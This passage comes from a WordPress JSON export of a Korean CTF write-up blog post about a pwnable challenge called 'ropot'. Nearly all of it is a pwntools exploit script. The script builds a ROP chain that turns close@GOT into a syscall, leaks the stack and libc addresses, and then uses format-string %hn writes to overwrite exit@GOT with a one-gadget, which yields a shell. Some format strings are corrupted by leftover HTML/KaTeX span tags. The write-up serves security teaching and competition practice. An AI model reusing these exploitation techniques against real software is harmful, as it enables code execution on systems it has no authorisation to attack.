int(p.recvline(), 16)\n    DATA = buf + 0x3b0\n    wbuffer = buf + 0x390\n    p.recvuntil(b': ')\n    pie = int(p.recvline(), 16) - 0x138b\n    syscall = 0x00001060 + pie\n    close_got = 0x00004030 + pie\n    exit_got = 0x00004088 + pie\n    prax = 0x00001a4f + pie\n    prdi = 0x00001abb + pie\n    prsi = 0x00001ab9 + pie # pop rsi; pop r15; ret;\n    prdx = 0x00001a53 + pie\n    prcx = 0x00001a51 + pie    prbp = 0x0000122f + pie\n    prsp = 0x00001ab5 + pie # pop rsp; pop r13; pop r14; pop r15; ret;\n    g1 = 0x00001ab2 + pie # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;\n    g2 = 0x0000122e + pie # add DWORD [rbp-0x3d], ebx; ret;\n    g3 = 0x00001382 + pie # mov DWORD [rdx], eax; mov eax, 0x1; pop rbp; ret;\n    g4 = 0x0000137f + pie # mov eax, DWORD [rbp-0x4]; mov DWORD [rdx], eax; mov eax, 0x1; pop rbp; ret;\n    ret = 0x00001acc + pie\n\n    log.info(b'BUF: 0x%x'%buf)\n    log.info(b'PIE: 0x%x'%pie)\n    log.info(b'WRITE BUFFER: 0x%x'%wbuffer)\n    pay = b''\n\n    #change close to syscall\n    pay += p64(g1) + p64(0x12) + p64(close_got + 0x3d) + p64(0)*4 + p64(g2)\n    #change close to syscall\n\n    #leak stack (stage1)\n    pay += p64(prax) + p64(1) + p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA)*2 + p64(prdx) + p64(0x10) + p64(syscall)\n    pay += p64(prax) + p64(0) + p64(prdi) + p64(readfd) + p64(prsi) + p64(wbuffer - 1)*2 + p64(prdx) + p64(0x100) + p64(syscall)\n    #leak stack (stage1)\n\n    #get libc base in wbuffer + 0x10 (stage2)\n    pay += p64(prdx) + p64(wbuffer + 0x10) + p64(prbp) + p64(close_got + 4)\n    pay += p64(g4) + p64(close_got + 8) + p64(prdx) + p64(wbuffer + 0x14) + p64(g4) + p64(0)\n    pay += p64(g1) + p64(-(libc.sym['close'] + 0x12)&0xffffffff) + p64(wbuffer + 0x10 + 0x3d)*5 + p64(g2)\n    #get libc base in wbuffer + 0x10 (stage2)\n\n    #calc stack (stage3)\n    pay += p64(prdx) + p64(buf + 0x238) + p64(prbp) + p64(wbuffer + 0x10 + 4)\n    pay += p64(g4) + p64(wbuffer + 0x14 + 4) + p64(prdx) + p64(buf + 0x238 + 4) + p64(g4) + p64(0)\n    pay += p64(g1) + p64(libc.sym['strtol']) + p64(buf + 0x238 + 0x3d)*5 + p64(g2)\n    pay += p64(prdi) + p64(wbuffer) + p64(prsi) + p64(0)*2 + p64(prdx) + p64(16) + b'A'*8\n    pay += p64(prdx) + p64(wbuffer + 0x18) +  p64(g3) + p64(wbuffer + 0x50 + 4) + p64(prdx) + p64(wbuffer + 0x18 + 2) + p64(g4) + p64(0)\n    pay += p64(g1) + p64(-0x185&0xffffffff) + p64(wbuffer + 0x18 + 0x3d) + p64(0)*4 + p64(g2)\n    pay += p64(prbp) + p64(wbuffer + 0x18 + 4) + p64(prdx) + p64(buf + 0x7e8)\n    pay += p64(g4) + p64(wbuffer + 0x10 + 4) + p64(prdx) + p64(buf + 0x7f0)\n    pay += p64(g4) + p64(wbuffer + 0x14 + 4) + p64(prdx) + p64(buf + 0x7f0 + 4) + p64(g4) + p64(0)\n    pay += p64(g1) + p64(libc.sym['sprintf']) + p64(buf + 0x7f0 + 0x3d)*5 + p64(g2) + p64(prsp) + p64(buf + 0x7b8 - 0x18)\n\n    pay = pay.ljust(0x3b0, b'\\x00')\n    pay += data\n    pay = pay.ljust(0x408, b'\\x00')\n\n    pay = pay.ljust(0x7b8, b'\\x00')\n    #calc stack (stage3)\n    pay += p64(prdi) + p64(DATA + 0x18) + p64(prsi) + p64(DATA + 0x8)*2 + p64(prdx) + b'ABCD'.ljust(0x8, b'\\x00') + b'A'*8\n\n    #overwrite parent fds to stdin, stdout (stage4)\n    pay += p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA + 0x18)*2 + p64(prdx) + p64(0x20) + p64(prax) + p64(1) + p64(syscall)\n    pay += p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA + 0x28)*2 +  p64(prdx) + p64(0x20) + p64(prax) + p64(1) + p64(syscall)\n\n    pay += p64(ret)*7 + p64(prsp) + p64(buf + 0x8b0 - 0x18)\n\n    print(hex(len(pay)))\n\n    pay = pay.ljust(0x8df, b'\\x00')\n    p.sendafter(b'Give me chain : ', pay)\n    p.sendline(b'M' + b'\\x00'*0x7f)\n\n    while True:\n        p.sendline(b'Mipwn\\x00')\n        res = p.recvuntil(b'Mipwn', timeout=1) #clean output\n        if(len(res)>1):\n            print (res)\n            break\n    log.info(b'Buffer output clean successfully!')\n    pause()\n    p.sendline(b'M%36<\/span>pipwn')\n    p.recvuntil(b'M')\n    stack = int(p.recvuntil(b'ipwn')[:-4], 16)\n    over_addr = stack - 0xe8\n    p.sendline(b'M%34<span class=\"katex math inline\">pipwn')\n    p.recvuntil(b'M')\n    libc_base = int(p.recvuntil(b'ipwn')[:-4], 16) - libc.sym[b'__libc_start_main'] - 235\n    oneshot = libc_base + 0x106ef8\n    log.info(b'[STACK] 0x%x'%stack)\n    log.info(b'[GLIBC] 0x%x'%libc_base)\n    log.info(b'[OVER_ADDR] 0x%x'%over_addr)\n\n    pay = b'M%' + str( (over_addr % 0x10000) - 1 ) + b'c%36<\/span>hnipwn'\n    p.sendline(pay + b'\\x00')\n    p.recvuntil(b'ipwn')\n\n    for i in range(3):\n        pay = b'M%' + str( (exit_got % 0x10000) - 1 + i * 2 ) + b'c%62<span class=\"katex math inline\">hnipwn'\n        p.sendline(pay + b'\\x00')\n        p.recvuntil(b'ipwn')\n        pay = b'M%' + str( ( (oneshot &gt;&gt; ( i * 16 ) )&0xffff) - 1 ) + b'c%33<\/span>hnipwn'\n        p.sendline(pay + b'\\x00')\n        p.recvuntil(b'ipwn')\n\n\n    p.interactive()\n    exit(0)\n\nif __name__ == '__main__':\n    p = process(e.path, aslr=True)\n    main(p)\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>ropot \uc774\uac74 \uc608\uc804\uc5d0 \uc5b4\ub5a4 CTF\uc5d0 \ub098\uc628 robot\uc774\ub780 \ubb38\uc81c\ub97c \uc870\uae08 \uc218\uc815\ud574\uc11c \ub0c8\ub2e4\ub294\ub370, \ucc28\uc774\uc810\uc740 \ubb38\uc81c \ucde8\uc57d\uc810 \uc124\uba85\ud558\uba74\uc11c \uc801\uaca0\ub2e4. \ubb38\uc81c \ucee8\uc149\uc740 \uc880 \uc720\ucf8c\ud588\uc74c \u314b\u314b \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\uac00 robot\uc774\uace0 \ubd80\ubaa8 \ud504\ub85c\uc138\uc2a4\ub294 robot\uc774 \ubcf4\ub0b8 \uac12\uc744 \ud1b5\ud574\uc11c move\uac19\uc740 \uc791\uc5c5\ub4e4 \ud558\uace0 \ubb50 \ud558\uace0 \ud558\ub358\ub370, \uc0ac\uc2e4 \uc758\ubbf8\uc788\ub294 \uac83\ub4e4\uc740 \uc544\ub2c8\ub354\ub77c. \ub10c\uc13c\uc2a4\uc600\ub358 \uac74 \ubd84\uba85 \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\uac00 robot\uc778\ub370, robot\uc774 \uc0ac\uc6a9\uc790\uc758 input\uc744 \ubc1b\uc544\uc57c \ud55c\ub2e4\ub294 \uac83&#8230; Mitigation Relro :&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,11],"tags":[],"class_list":["post-865","post","type-post","status-publish","format-standard","hentry","category-http-ipwn-kr-blog-pwnable","category-writep-up"],"_links":{"self":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts\/865"}],"collection":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/comments?post=865"}],"version-history":[{"count":23,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts\/865\/revisions"}],"predecessor-version":[{"id":934,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/posts\/865\/revisions\/934"}],"wp:attachment":[{"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/media?parent=865"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/categories?post=865"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/ipwn.kr\/index.php\/wp-json\/wp\/v2\/tags?post=865"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}